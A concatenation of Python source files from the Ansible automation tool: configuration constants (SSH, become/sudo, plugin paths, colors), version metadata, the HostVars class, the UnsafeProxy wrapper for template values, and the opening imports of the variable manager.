DEFAULT_FORKS             = get_config(p, DEFAULTS, 'forks',            'ANSIBLE_FORKS',            5, integer=True)
DEFAULT_MODULE_ARGS       = get_config(p, DEFAULTS, 'module_args',      'ANSIBLE_MODULE_ARGS',      '')
DEFAULT_MODULE_LANG       = get_config(p, DEFAULTS, 'module_lang',      'ANSIBLE_MODULE_LANG',      os.getenv('LANG', 'en_US.UTF-8'))
DEFAULT_MODULE_SET_LOCALE = get_config(p, DEFAULTS, 'module_set_locale','ANSIBLE_MODULE_SET_LOCALE',False, boolean=True)
DEFAULT_MODULE_COMPRESSION= get_config(p, DEFAULTS, 'module_compression', None, 'ZIP_DEFLATED')
DEFAULT_TIMEOUT           = get_config(p, DEFAULTS, 'timeout',          'ANSIBLE_TIMEOUT',          10, integer=True)
DEFAULT_POLL_INTERVAL     = get_config(p, DEFAULTS, 'poll_interval',    'ANSIBLE_POLL_INTERVAL',    15, integer=True)
DEFAULT_REMOTE_USER       = get_config(p, DEFAULTS, 'remote_user',      'ANSIBLE_REMOTE_USER',      None)
DEFAULT_ASK_PASS          = get_config(p, DEFAULTS, 'ask_pass',  'ANSIBLE_ASK_PASS',    False, boolean=True)
DEFAULT_PRIVATE_KEY_FILE  = get_config(p, DEFAULTS, 'private_key_file', 'ANSIBLE_PRIVATE_KEY_FILE', None, ispath=True)
DEFAULT_REMOTE_PORT       = get_config(p, DEFAULTS, 'remote_port',      'ANSIBLE_REMOTE_PORT',      None, integer=True)
DEFAULT_ASK_VAULT_PASS    = get_config(p, DEFAULTS, 'ask_vault_pass',    'ANSIBLE_ASK_VAULT_PASS',    False, boolean=True)
DEFAULT_VAULT_PASSWORD_FILE = get_config(p, DEFAULTS, 'vault_password_file', 'ANSIBLE_VAULT_PASSWORD_FILE', None, ispath=True)
DEFAULT_TRANSPORT         = get_config(p, DEFAULTS, 'transport',        'ANSIBLE_TRANSPORT',        'smart')
DEFAULT_SCP_IF_SSH        = get_config(p, 'ssh_connection', 'scp_if_ssh',       'ANSIBLE_SCP_IF_SSH',       False, boolean=True)
DEFAULT_SFTP_BATCH_MODE   = get_config(p, 'ssh_connection', 'sftp_batch_mode', 'ANSIBLE_SFTP_BATCH_MODE', True, boolean=True)
DEFAULT_MANAGED_STR       = get_config(p, DEFAULTS, 'ansible_managed',  None,           'Ansible managed: {file} modified on %Y-%m-%d %H:%M:%S by {uid} on {host}')
DEFAULT_SYSLOG_FACILITY   = get_config(p, DEFAULTS, 'syslog_facility',  'ANSIBLE_SYSLOG_FACILITY', 'LOG_USER')
DEFAULT_KEEP_REMOTE_FILES = get_config(p, DEFAULTS, 'keep_remote_files', 'ANSIBLE_KEEP_REMOTE_FILES', False, boolean=True)
DEFAULT_HASH_BEHAVIOUR    = get_config(p, DEFAULTS, 'hash_behaviour', 'ANSIBLE_HASH_BEHAVIOUR', 'replace')
DEFAULT_PRIVATE_ROLE_VARS = get_config(p, DEFAULTS, 'private_role_vars', 'ANSIBLE_PRIVATE_ROLE_VARS', False, boolean=True)
DEFAULT_JINJA2_EXTENSIONS = get_config(p, DEFAULTS, 'jinja2_extensions', 'ANSIBLE_JINJA2_EXTENSIONS', None)
DEFAULT_EXECUTABLE        = get_config(p, DEFAULTS, 'executable', 'ANSIBLE_EXECUTABLE', '/bin/sh')
DEFAULT_GATHERING         = get_config(p, DEFAULTS, 'gathering', 'ANSIBLE_GATHERING', 'implicit').lower()
DEFAULT_GATHER_SUBSET     = get_config(p, DEFAULTS, 'gather_subset', 'ANSIBLE_GATHER_SUBSET', 'all').lower()
DEFAULT_GATHER_TIMEOUT    = get_config(p, DEFAULTS, 'gather_timeout', 'ANSIBLE_GATHER_TIMEOUT', 10, integer=True)
DEFAULT_LOG_PATH          = get_config(p, DEFAULTS, 'log_path',           'ANSIBLE_LOG_PATH', '', ispath=True)
DEFAULT_FORCE_HANDLERS    = get_config(p, DEFAULTS, 'force_handlers', 'ANSIBLE_FORCE_HANDLERS', False, boolean=True)
DEFAULT_INVENTORY_IGNORE  = get_config(p, DEFAULTS, 'inventory_ignore_extensions', 'ANSIBLE_INVENTORY_IGNORE', ["~", ".orig", ".bak", ".ini", ".cfg", ".retry", ".pyc", ".pyo"], islist=True)
DEFAULT_VAR_COMPRESSION_LEVEL = get_config(p, DEFAULTS, 'var_compression_level', 'ANSIBLE_VAR_COMPRESSION_LEVEL', 0, integer=True)

# static includes
DEFAULT_TASK_INCLUDES_STATIC    = get_config(p, DEFAULTS, 'task_includes_static', 'ANSIBLE_TASK_INCLUDES_STATIC', False, boolean=True)
DEFAULT_HANDLER_INCLUDES_STATIC = get_config(p, DEFAULTS, 'handler_includes_static', 'ANSIBLE_HANDLER_INCLUDES_STATIC', False, boolean=True)

# disclosure
DEFAULT_NO_LOG           = get_config(p, DEFAULTS, 'no_log', 'ANSIBLE_NO_LOG', False, boolean=True)
DEFAULT_NO_TARGET_SYSLOG   = get_config(p, DEFAULTS, 'no_target_syslog', 'ANSIBLE_NO_TARGET_SYSLOG', False, boolean=True)
ALLOW_WORLD_READABLE_TMPFILES = get_config(p, DEFAULTS, 'allow_world_readable_tmpfiles', None, False, boolean=True)

# selinux
DEFAULT_SELINUX_SPECIAL_FS = get_config(p, 'selinux', 'special_context_filesystems', None, 'fuse, nfs, vboxsf, ramfs', islist=True)
DEFAULT_LIBVIRT_LXC_NOSECLABEL = get_config(p, 'selinux', 'libvirt_lxc_noseclabel', 'LIBVIRT_LXC_NOSECLABEL', False, boolean=True)

### PRIVILEGE ESCALATION ###
# Backwards Compat
DEFAULT_SU                = get_config(p, DEFAULTS, 'su', 'ANSIBLE_SU', False, boolean=True)
DEFAULT_SU_USER           = get_config(p, DEFAULTS, 'su_user', 'ANSIBLE_SU_USER', 'root')
DEFAULT_SU_EXE            = get_config(p, DEFAULTS, 'su_exe', 'ANSIBLE_SU_EXE', None)
DEFAULT_SU_FLAGS          = get_config(p, DEFAULTS, 'su_flags', 'ANSIBLE_SU_FLAGS', None)
DEFAULT_ASK_SU_PASS       = get_config(p, DEFAULTS, 'ask_su_pass', 'ANSIBLE_ASK_SU_PASS', False, boolean=True)
DEFAULT_SUDO              = get_config(p, DEFAULTS, 'sudo', 'ANSIBLE_SUDO', False, boolean=True)
DEFAULT_SUDO_USER         = get_config(p, DEFAULTS, 'sudo_user',        'ANSIBLE_SUDO_USER',        'root')
DEFAULT_SUDO_EXE          = get_config(p, DEFAULTS, 'sudo_exe', 'ANSIBLE_SUDO_EXE', None)
DEFAULT_SUDO_FLAGS        = get_config(p, DEFAULTS, 'sudo_flags', 'ANSIBLE_SUDO_FLAGS', '-H -S -n')
DEFAULT_ASK_SUDO_PASS     = get_config(p, DEFAULTS, 'ask_sudo_pass',    'ANSIBLE_ASK_SUDO_PASS',    False, boolean=True)

# Become
BECOME_ERROR_STRINGS      = {'sudo': 'Sorry, try again.', 'su': 'Authentication failure', 'pbrun': '', 'pfexec': '', 'runas': '', 'doas': 'Permission denied', 'dzdo': ''} #FIXME: deal with i18n
BECOME_MISSING_STRINGS    = {'sudo': 'sorry, a password is required to run sudo', 'su': '', 'pbrun': '', 'pfexec': '', 'runas': '', 'doas': 'Authorization required', 'dzdo': ''} #FIXME: deal with i18n
BECOME_METHODS            = ['sudo','su','pbrun','pfexec','runas','doas','dzdo']
BECOME_ALLOW_SAME_USER    = get_config(p, 'privilege_escalation', 'become_allow_same_user', 'ANSIBLE_BECOME_ALLOW_SAME_USER', False, boolean=True)
DEFAULT_BECOME_METHOD     = get_config(p, 'privilege_escalation', 'become_method', 'ANSIBLE_BECOME_METHOD','sudo' if DEFAULT_SUDO else 'su' if DEFAULT_SU else 'sudo' ).lower()
DEFAULT_BECOME            = get_config(p, 'privilege_escalation', 'become', 'ANSIBLE_BECOME',False, boolean=True)
DEFAULT_BECOME_USER       = get_config(p, 'privilege_escalation', 'become_user', 'ANSIBLE_BECOME_USER', 'root')
DEFAULT_BECOME_EXE        = get_config(p, 'privilege_escalation', 'become_exe', 'ANSIBLE_BECOME_EXE', None)
DEFAULT_BECOME_FLAGS      = get_config(p, 'privilege_escalation', 'become_flags', 'ANSIBLE_BECOME_FLAGS', None)
DEFAULT_BECOME_ASK_PASS   = get_config(p, 'privilege_escalation', 'become_ask_pass', 'ANSIBLE_BECOME_ASK_PASS', False, boolean=True)


# PLUGINS

# Modules that can optimize with_items loops into a single call.  Currently
# these modules must (1) take a "name" or "pkg" parameter that is a list.  If
# the module takes both, bad things could happen.
# In the future we should probably generalize this even further
# (mapping of param: squash field)
DEFAULT_SQUASH_ACTIONS         = get_config(p, DEFAULTS, 'squash_actions',     'ANSIBLE_SQUASH_ACTIONS', "apk, apt, dnf, package, pacman, pkgng, yum, zypper", islist=True)
# paths
DEFAULT_ACTION_PLUGIN_PATH     = get_config(p, DEFAULTS, 'action_plugins',     'ANSIBLE_ACTION_PLUGINS', '~/.ansible/plugins/action:/usr/share/ansible/plugins/action', ispathlist=True)
DEFAULT_CACHE_PLUGIN_PATH      = get_config(p, DEFAULTS, 'cache_plugins',      'ANSIBLE_CACHE_PLUGINS', '~/.ansible/plugins/cache:/usr/share/ansible/plugins/cache', ispathlist=True)
DEFAULT_CALLBACK_PLUGIN_PATH   = get_config(p, DEFAULTS, 'callback_plugins',   'ANSIBLE_CALLBACK_PLUGINS', '~/.ansible/plugins/callback:/usr/share/ansible/plugins/callback', ispathlist=True)
DEFAULT_CONNECTION_PLUGIN_PATH = get_config(p, DEFAULTS, 'connection_plugins', 'ANSIBLE_CONNECTION_PLUGINS', '~/.ansible/plugins/connection:/usr/share/ansible/plugins/connection', ispathlist=True)
DEFAULT_LOOKUP_PLUGIN_PATH     = get_config(p, DEFAULTS, 'lookup_plugins',     'ANSIBLE_LOOKUP_PLUGINS', '~/.ansible/plugins/lookup:/usr/share/ansible/plugins/lookup', ispathlist=True)
DEFAULT_INVENTORY_PLUGIN_PATH  = get_config(p, DEFAULTS, 'inventory_plugins',  'ANSIBLE_INVENTORY_PLUGINS', '~/.ansible/plugins/inventory:/usr/share/ansible/plugins/inventory', ispathlist=True)
DEFAULT_VARS_PLUGIN_PATH       = get_config(p, DEFAULTS, 'vars_plugins',       'ANSIBLE_VARS_PLUGINS', '~/.ansible/plugins/vars:/usr/share/ansible/plugins/vars', ispathlist=True)
DEFAULT_FILTER_PLUGIN_PATH     = get_config(p, DEFAULTS, 'filter_plugins',     'ANSIBLE_FILTER_PLUGINS', '~/.ansible/plugins/filter:/usr/share/ansible/plugins/filter', ispathlist=True)
DEFAULT_TEST_PLUGIN_PATH       = get_config(p, DEFAULTS, 'test_plugins',       'ANSIBLE_TEST_PLUGINS', '~/.ansible/plugins/test:/usr/share/ansible/plugins/test', ispathlist=True)
DEFAULT_STRATEGY_PLUGIN_PATH   = get_config(p, DEFAULTS, 'strategy_plugins',   'ANSIBLE_STRATEGY_PLUGINS', '~/.ansible/plugins/strategy:/usr/share/ansible/plugins/strategy', ispathlist=True)
DEFAULT_STDOUT_CALLBACK        = get_config(p, DEFAULTS, 'stdout_callback',    'ANSIBLE_STDOUT_CALLBACK', 'default')
# cache
CACHE_PLUGIN                   = get_config(p, DEFAULTS, 'fact_caching', 'ANSIBLE_CACHE_PLUGIN', 'memory')
CACHE_PLUGIN_CONNECTION        = get_config(p, DEFAULTS, 'fact_caching_connection', 'ANSIBLE_CACHE_PLUGIN_CONNECTION', None)
CACHE_PLUGIN_PREFIX            = get_config(p, DEFAULTS, 'fact_caching_prefix', 'ANSIBLE_CACHE_PLUGIN_PREFIX', 'ansible_facts')
CACHE_PLUGIN_TIMEOUT           = get_config(p, DEFAULTS, 'fact_caching_timeout', 'ANSIBLE_CACHE_PLUGIN_TIMEOUT', 24 * 60 * 60, integer=True)

# Display
ANSIBLE_FORCE_COLOR            = get_config(p, DEFAULTS, 'force_color', 'ANSIBLE_FORCE_COLOR', None, boolean=True)
ANSIBLE_NOCOLOR                = get_config(p, DEFAULTS, 'nocolor', 'ANSIBLE_NOCOLOR', None, boolean=True)
ANSIBLE_NOCOWS                 = get_config(p, DEFAULTS, 'nocows', 'ANSIBLE_NOCOWS', None, boolean=True)
ANSIBLE_COW_SELECTION          = get_config(p, DEFAULTS, 'cow_selection', 'ANSIBLE_COW_SELECTION', 'default')
ANSIBLE_COW_WHITELIST          = get_config(p, DEFAULTS, 'cow_whitelist', 'ANSIBLE_COW_WHITELIST', DEFAULT_COW_WHITELIST, islist=True)
DISPLAY_SKIPPED_HOSTS          = get_config(p, DEFAULTS, 'display_skipped_hosts', 'DISPLAY_SKIPPED_HOSTS', True, boolean=True)
DEFAULT_UNDEFINED_VAR_BEHAVIOR = get_config(p, DEFAULTS, 'error_on_undefined_vars', 'ANSIBLE_ERROR_ON_UNDEFINED_VARS', True, boolean=True)
HOST_KEY_CHECKING              = get_config(p, DEFAULTS, 'host_key_checking',  'ANSIBLE_HOST_KEY_CHECKING',    True, boolean=True)
SYSTEM_WARNINGS                = get_config(p, DEFAULTS, 'system_warnings', 'ANSIBLE_SYSTEM_WARNINGS', True, boolean=True)
DEPRECATION_WARNINGS           = get_config(p, DEFAULTS, 'deprecation_warnings', 'ANSIBLE_DEPRECATION_WARNINGS', True, boolean=True)
DEFAULT_CALLABLE_WHITELIST     = get_config(p, DEFAULTS, 'callable_whitelist', 'ANSIBLE_CALLABLE_WHITELIST', [], islist=True)
COMMAND_WARNINGS               = get_config(p, DEFAULTS, 'command_warnings', 'ANSIBLE_COMMAND_WARNINGS', True, boolean=True)
DEFAULT_LOAD_CALLBACK_PLUGINS  = get_config(p, DEFAULTS, 'bin_ansible_callbacks', 'ANSIBLE_LOAD_CALLBACK_PLUGINS', False, boolean=True)
DEFAULT_CALLBACK_WHITELIST     = get_config(p, DEFAULTS, 'callback_whitelist', 'ANSIBLE_CALLBACK_WHITELIST', [], islist=True)
RETRY_FILES_ENABLED            = get_config(p, DEFAULTS, 'retry_files_enabled', 'ANSIBLE_RETRY_FILES_ENABLED', True, boolean=True)
RETRY_FILES_SAVE_PATH          = get_config(p, DEFAULTS, 'retry_files_save_path', 'ANSIBLE_RETRY_FILES_SAVE_PATH', None, ispath=True)
DEFAULT_NULL_REPRESENTATION    = get_config(p, DEFAULTS, 'null_representation', 'ANSIBLE_NULL_REPRESENTATION', None, isnone=True)
DISPLAY_ARGS_TO_STDOUT         = get_config(p, DEFAULTS, 'display_args_to_stdout', 'ANSIBLE_DISPLAY_ARGS_TO_STDOUT', False, boolean=True)
MAX_FILE_SIZE_FOR_DIFF         = get_config(p, DEFAULTS, 'max_diff_size', 'ANSIBLE_MAX_DIFF_SIZE', 1024*1024, integer=True)

# CONNECTION RELATED
ANSIBLE_SSH_ARGS               = get_config(p, 'ssh_connection', 'ssh_args', 'ANSIBLE_SSH_ARGS', '-C -o ControlMaster=auto -o ControlPersist=60s')
ANSIBLE_SSH_CONTROL_PATH       = get_config(p, 'ssh_connection', 'control_path', 'ANSIBLE_SSH_CONTROL_PATH', "%(directory)s/ansible-ssh-%%h-%%p-%%r")
ANSIBLE_SSH_PIPELINING         = get_config(p, 'ssh_connection', 'pipelining', 'ANSIBLE_SSH_PIPELINING', False, boolean=True)
ANSIBLE_SSH_RETRIES            = get_config(p, 'ssh_connection', 'retries', 'ANSIBLE_SSH_RETRIES', 0, integer=True)
PARAMIKO_RECORD_HOST_KEYS      = get_config(p, 'paramiko_connection', 'record_host_keys', 'ANSIBLE_PARAMIKO_RECORD_HOST_KEYS', True, boolean=True)
PARAMIKO_PROXY_COMMAND         = get_config(p, 'paramiko_connection', 'proxy_command', 'ANSIBLE_PARAMIKO_PROXY_COMMAND', None)


# obsolete -- will be formally removed
ZEROMQ_PORT                    = get_config(p, 'fireball_connection', 'zeromq_port', 'ANSIBLE_ZEROMQ_PORT', 5099, integer=True)
ACCELERATE_PORT                = get_config(p, 'accelerate', 'accelerate_port', 'ACCELERATE_PORT', 5099, integer=True)
ACCELERATE_TIMEOUT             = get_config(p, 'accelerate', 'accelerate_timeout', 'ACCELERATE_TIMEOUT', 30, integer=True)
ACCELERATE_CONNECT_TIMEOUT     = get_config(p, 'accelerate', 'accelerate_connect_timeout', 'ACCELERATE_CONNECT_TIMEOUT', 1.0, floating=True)
ACCELERATE_DAEMON_TIMEOUT      = get_config(p, 'accelerate', 'accelerate_daemon_timeout', 'ACCELERATE_DAEMON_TIMEOUT', 30, integer=True)
ACCELERATE_KEYS_DIR            = get_config(p, 'accelerate', 'accelerate_keys_dir', 'ACCELERATE_KEYS_DIR', '~/.fireball.keys')
ACCELERATE_KEYS_DIR_PERMS      = get_config(p, 'accelerate', 'accelerate_keys_dir_perms', 'ACCELERATE_KEYS_DIR_PERMS', '700')
ACCELERATE_KEYS_FILE_PERMS     = get_config(p, 'accelerate', 'accelerate_keys_file_perms', 'ACCELERATE_KEYS_FILE_PERMS', '600')
ACCELERATE_MULTI_KEY           = get_config(p, 'accelerate', 'accelerate_multi_key', 'ACCELERATE_MULTI_KEY', False, boolean=True)
PARAMIKO_PTY                   = get_config(p, 'paramiko_connection', 'pty', 'ANSIBLE_PARAMIKO_PTY', True, boolean=True)

# galaxy related
GALAXY_SERVER                  = get_config(p, 'galaxy', 'server', 'ANSIBLE_GALAXY_SERVER', 'https://galaxy.ansible.com')
GALAXY_IGNORE_CERTS            = get_config(p, 'galaxy', 'ignore_certs', 'ANSIBLE_GALAXY_IGNORE', False, boolean=True)
# this can be configured to blacklist SCMS but cannot add new ones unless the code is also updated
GALAXY_SCMS                    = get_config(p, 'galaxy', 'scms', 'ANSIBLE_GALAXY_SCMS', 'git, hg', islist=True)

# characters included in auto-generated passwords
DEFAULT_PASSWORD_CHARS = ascii_letters + digits + ".,:-_"
STRING_TYPE_FILTERS = get_config(p, 'jinja2', 'dont_type_filters', 'ANSIBLE_STRING_TYPE_FILTERS', ['string', 'to_json', 'to_nice_json', 'to_yaml', 'ppretty', 'json'], islist=True )

# colors
COLOR_HIGHLIGHT   = get_config(p, 'colors', 'highlight', 'ANSIBLE_COLOR_HIGHLIGHT', 'white')
COLOR_VERBOSE     = get_config(p, 'colors', 'verbose', 'ANSIBLE_COLOR_VERBOSE', 'blue')
COLOR_WARN        = get_config(p, 'colors', 'warn', 'ANSIBLE_COLOR_WARN', 'bright purple')
COLOR_ERROR       = get_config(p, 'colors', 'error', 'ANSIBLE_COLOR_ERROR', 'red')
COLOR_DEBUG       = get_config(p, 'colors', 'debug', 'ANSIBLE_COLOR_DEBUG', 'dark gray')
COLOR_DEPRECATE   = get_config(p, 'colors', 'deprecate', 'ANSIBLE_COLOR_DEPRECATE', 'purple')
COLOR_SKIP        = get_config(p, 'colors', 'skip', 'ANSIBLE_COLOR_SKIP', 'cyan')
COLOR_UNREACHABLE = get_config(p, 'colors', 'unreachable', 'ANSIBLE_COLOR_UNREACHABLE', 'bright red')
COLOR_OK          = get_config(p, 'colors', 'ok', 'ANSIBLE_COLOR_OK', 'green')
COLOR_CHANGED     = get_config(p, 'colors', 'changed', 'ANSIBLE_COLOR_CHANGED', 'yellow')
COLOR_DIFF_ADD    = get_config(p, 'colors', 'diff_add', 'ANSIBLE_COLOR_DIFF_ADD', 'green')
COLOR_DIFF_REMOVE = get_config(p, 'colors', 'diff_remove', 'ANSIBLE_COLOR_DIFF_REMOVE', 'red')
COLOR_DIFF_LINES  = get_config(p, 'colors', 'diff_lines', 'ANSIBLE_COLOR_DIFF_LINES', 'cyan')

# diff
DIFF_CONTEXT = get_config(p, 'diff', 'context', 'ANSIBLE_DIFF_CONTEXT', 3, integer=True)

# non-configurable things
MODULE_REQUIRE_ARGS       = ['command', 'shell', 'raw', 'script']
MODULE_NO_JSON            = ['command', 'shell', 'raw']
DEFAULT_BECOME_PASS       = None
DEFAULT_SUDO_PASS         = None
DEFAULT_REMOTE_PASS       = None
DEFAULT_SUBSET            = None
DEFAULT_SU_PASS           = None
VAULT_VERSION_MIN         = 1.0
VAULT_VERSION_MAX         = 1.0
TREE_DIR                  = None
LOCALHOST                 = frozenset(['127.0.0.1', 'localhost', '::1'])
# module search
BLACKLIST_EXTS = ('.pyc', '.swp', '.bak', '~', '.rpm', '.md', '.txt')
IGNORE_FILES = [ "COPYING", "CONTRIBUTING", "LICENSE", "README", "VERSION", "GUIDELINES", "test-docs.sh"]






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

# Note: Do not add any code to this file.  The ansible module may be
# a namespace package when using Ansible-2.1+ Anything in this file may not be
# available if one of the other packages in the namespace is loaded first.
#
# This is for backwards compat.  Code should be ported to get these from
# ansible.release instead of from here.
from ansible.release import __version__, __author__






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

__version__ = '2.2.0'
__author__  = 'Ansible, Inc.'






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import collections
import sys

from jinja2 import Undefined as j2undefined

from ansible import constants as C
from ansible.inventory.host import Host
from ansible.template import Templar

STATIC_VARS = [
  'inventory_hostname', 'inventory_hostname_short',
  'inventory_file', 'inventory_dir', 'playbook_dir',
  'ansible_play_hosts', 'play_hosts', 'groups', 'ungrouped', 'group_names',
  'ansible_version', 'omit', 'role_names'
]

try:
    from hashlib import sha1
except ImportError:
    from sha import sha as sha1

__all__ = ['HostVars']

# Note -- this is a Mapping, not a MutableMapping
class HostVars(collections.Mapping):
    ''' A special view of vars_cache that adds values from the inventory when needed. '''

    def __init__(self, inventory, variable_manager, loader):
        self._lookup = dict()
        self._inventory = inventory
        self._loader = loader
        self._variable_manager = variable_manager
        variable_manager._hostvars = self
        self._cached_result = dict()

    def set_variable_manager(self, variable_manager):
        self._variable_manager = variable_manager
        variable_manager._hostvars = self

    def set_inventory(self, inventory):
        self._inventory = inventory

    def _find_host(self, host_name):
        if host_name in C.LOCALHOST and self._inventory.localhost:
            host = self._inventory.localhost
        else:
            host = self._inventory.get_host(host_name)
        return host

    def __getitem__(self, host_name):
        host = self._find_host(host_name)
        if host is None:
            raise j2undefined

        data = self._variable_manager.get_vars(loader=self._loader, host=host, include_hostvars=False)

        sha1_hash = sha1(str(data).encode('utf-8')).hexdigest()
        if sha1_hash in self._cached_result:
            result = self._cached_result[sha1_hash]
        else:
            templar = Templar(variables=data, loader=self._loader)
            result = templar.template(data, fail_on_undefined=False, static_vars=STATIC_VARS)
            self._cached_result[sha1_hash] = result
        return result

    def set_host_variable(self, host, varname, value):
        self._variable_manager.set_host_variable(host, varname, value)

    def set_nonpersistent_facts(self, host, facts):
        self._variable_manager.set_nonpersistent_facts(host, facts)

    def set_host_facts(self, host, facts):
        self._variable_manager.set_host_facts(host, facts)

    def __contains__(self, host_name):
        return self._find_host(host_name) is not None

    def __iter__(self):
        for host in self._inventory.get_hosts(ignore_limits_and_restrictions=True):
            yield host

    def __len__(self):
        return len(self._inventory.get_hosts(ignore_limits_and_restrictions=True))

    def __repr__(self):
        out = {}
        for host in self._inventory.get_hosts(ignore_limits_and_restrictions=True):
            name = host.name
            out[name] = self.get(name)
        return repr(out)






# PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
# --------------------------------------------
#
# 1. This LICENSE AGREEMENT is between the Python Software Foundation
# ("PSF"), and the Individual or Organization ("Licensee") accessing and
# otherwise using this software ("Python") in source or binary form and
# its associated documentation.
#
# 2. Subject to the terms and conditions of this License Agreement, PSF hereby
# grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
# analyze, test, perform and/or display publicly, prepare derivative works,
# distribute, and otherwise use Python alone or in any derivative version,
# provided, however, that PSF's License Agreement and PSF's notice of copyright,
# i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
# 2011, 2012, 2013, 2014 Python Software Foundation; All Rights Reserved" are
# retained in Python alone or in any derivative version prepared by Licensee.
#
# 3. In the event Licensee prepares a derivative work that is based on
# or incorporates Python or any part thereof, and wants to make
# the derivative work available to others as provided herein, then
# Licensee hereby agrees to include in any such work a brief summary of
# the changes made to Python.
#
# 4. PSF is making Python available to Licensee on an "AS IS"
# basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
# IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
# DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
# FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
# INFRINGE ANY THIRD PARTY RIGHTS.
#
# 5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
# FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
# A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
# OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
#
# 6. This License Agreement will automatically terminate upon a material
# breach of its terms and conditions.
#
# 7. Nothing in this License Agreement shall be deemed to create any
# relationship of agency, partnership, or joint venture between PSF and
# Licensee.  This License Agreement does not grant permission to use PSF
# trademarks or trade name in a trademark sense to endorse or promote
# products or services of Licensee, or any third party.
#
# 8. By copying, installing or otherwise using Python, Licensee
# agrees to be bound by the terms and conditions of this License
# Agreement.
#
# Original Python Recipe for Proxy:
# http://code.activestate.com/recipes/496741-object-proxying/
# Author: Tomer Filiba

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json

from ansible.utils.unicode import to_unicode
from ansible.compat.six import string_types, text_type

__all__ = ['UnsafeProxy', 'AnsibleUnsafe', 'AnsibleJSONUnsafeEncoder', 'AnsibleJSONUnsafeDecoder', 'wrap_var']

class AnsibleUnsafe(object):
    __UNSAFE__ = True

class AnsibleUnsafeText(text_type, AnsibleUnsafe):
    pass

class UnsafeProxy(object):
    def __new__(cls, obj, *args, **kwargs):
        # In our usage we should only receive unicode strings.
        # This conditional and conversion exists to sanity check the values
        # we're given but we may want to take it out for testing and sanitize
        # our input instead.
        if isinstance(obj, string_types):
            obj = to_unicode(obj, errors='strict')
            return AnsibleUnsafeText(obj)
        return obj

class AnsibleJSONUnsafeEncoder(json.JSONEncoder):
    def encode(self, obj):
        if isinstance(obj, AnsibleUnsafe):
            return super(AnsibleJSONUnsafeEncoder, self).encode(dict(__ansible_unsafe=True, value=unicode(obj)))
        else:
            return super(AnsibleJSONUnsafeEncoder, self).encode(obj)

class AnsibleJSONUnsafeDecoder(json.JSONDecoder):
    def decode(self, obj):
        value = super(AnsibleJSONUnsafeDecoder, self).decode(obj)
        if isinstance(value, dict) and '__ansible_unsafe' in value:
            return UnsafeProxy(value.get('value', ''))
        else:
            return value

def _wrap_dict(v):
    for k in v.keys():
        if v[k] is not None:
            v[k] = wrap_var(v[k])
    return v


def _wrap_list(v):
    for idx, item in enumerate(v):
        if item is not None:
            v[idx] = wrap_var(item)
    return v


def wrap_var(v):
    if isinstance(v, dict):
        v = _wrap_dict(v)
    elif isinstance(v, list):
        v = _wrap_list(v)
    else:
        if v is not None and not isinstance(v, AnsibleUnsafe):
            v = UnsafeProxy(v)
    return v







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from collections import defaultdict, MutableMapping

from ansible.compat.six import iteritems
from jinja2.exceptions import UndefinedError

try:
    from hashlib import sha1
except ImportError:
    from sha import sha as sha1

from ansible import constants as C
from ansible.cli import CLI
from ansible.compat.six import string_types, text_type
from ansible.errors import AnsibleError, AnsibleParserError, AnsibleUndefinedVariable, AnsibleFileNotFound
from ansible.inventory.host import Host
